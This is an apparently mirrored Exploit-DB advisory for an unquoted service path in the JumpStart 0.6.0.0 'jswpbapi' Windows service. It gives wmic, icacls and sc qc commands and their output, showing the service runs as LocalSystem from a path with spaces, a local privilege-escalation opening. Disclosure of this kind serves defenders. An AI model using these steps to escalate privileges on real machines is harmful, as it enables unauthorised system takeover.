JumpStart 0.6.0.0 – ‘jswpbapi’ Unquoted Service Path

  • 作者： Roberto Escamilla
    日期： 2019-10-28
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/47549/
  • # Exploit Title: JumpStart 0.6.0.0 - 'jswpbapi' Unquoted Service Path
# Google Dork: N/A
# Date: 2019-09-09
# Exploit Author: Roberto Escamilla
# Vendor Homepage:https://www.inforprograma.net/
# Software Link: https://www.inforprograma.net/
# Version:= 0.6.0.0 wpspin.exe
# Tested on: Windows 10 Home
# CVE : N/A

###############STEPS##########################

# 1.- Install the JumpStart application on Windows 10 Home Operating System
# 2.- Open our "System Symbol" application.
# 3.- Execute the command -------wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
# 4.- The following will appear in a list: JumpStart Push-Button Servicejswpbapi C:\Program Files (x86)\Jumpstart\jswpbapi.exe
# 5.- We proceed to verify the process using the command icacls, with which we verify the protection of the directory as shown below:

NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administradores:(I)(F)
BUILTIN\Usuarios:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIONES:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIÓN RESTRINGIDOS:(I)(RX)

# 6.- Finally we verify using the command sc qc jswpbapi the protection of the service in which we observe that it is scalable in privileges 
# since the route contains spaces without being in quotes and is in CONTROL_ERROR normal and NOMBRE_INICIO_SERVICIO: 
# LocalSystem as it's shown in the following [SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: jswpbapi
TIPO : 10WIN32_OWN_PROCESS
TIPO_INICIO: 2 AUTO_START
CONTROL_ERROR: 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Jumpstart\jswpbapi.exe
GRUPO_ORDEN_CARGA:
ETIQUETA : 0
NOMBRE_MOSTRAR : JumpStart Push-Button Service
DEPENDENCIAS : RPCSS
NOMBRE_INICIO_SERVICIO: LocalSystem